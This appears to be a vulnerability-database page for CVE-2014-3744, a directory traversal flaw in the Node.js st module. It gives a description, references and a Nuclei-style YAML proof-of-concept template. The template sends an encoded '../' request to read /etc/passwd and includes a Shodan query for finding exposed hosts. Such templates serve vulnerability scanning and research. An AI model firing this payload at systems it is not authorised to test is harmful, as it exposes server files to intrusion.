CVE-2014-3744: Node.js st module Directory Traversal

2025-08-01 Node.js st module PoC Public

Description

A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.

PoC

id: CVE-2014-3744

info:
  name: Node.js st module Directory Traversal
  author: geeknik
  severity: high
  description: A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Upgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3744
    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
    - https://snyk.io/vuln/npm:st:20140206
    - https://nodesecurity.io/advisories/st_directory_traversal
    - http://www.openwall.com/lists/oss-security/2014/05/13/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2014-3744
    cwe-id: CWE-22
    epss-score: 0.34012
    epss-percentile: 0.98362
    cpe: cpe:2.3:a:nodejs:node.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2014,cve,lfi,nodejs,st,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402200ba182517c92d7e17268c558910166e571ba0cc41002c1bcea9cab100d53e0c602204e3f0a377305f9e6504972860de0bf00b6a613402b0f8c6504ab3e139139b1f2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities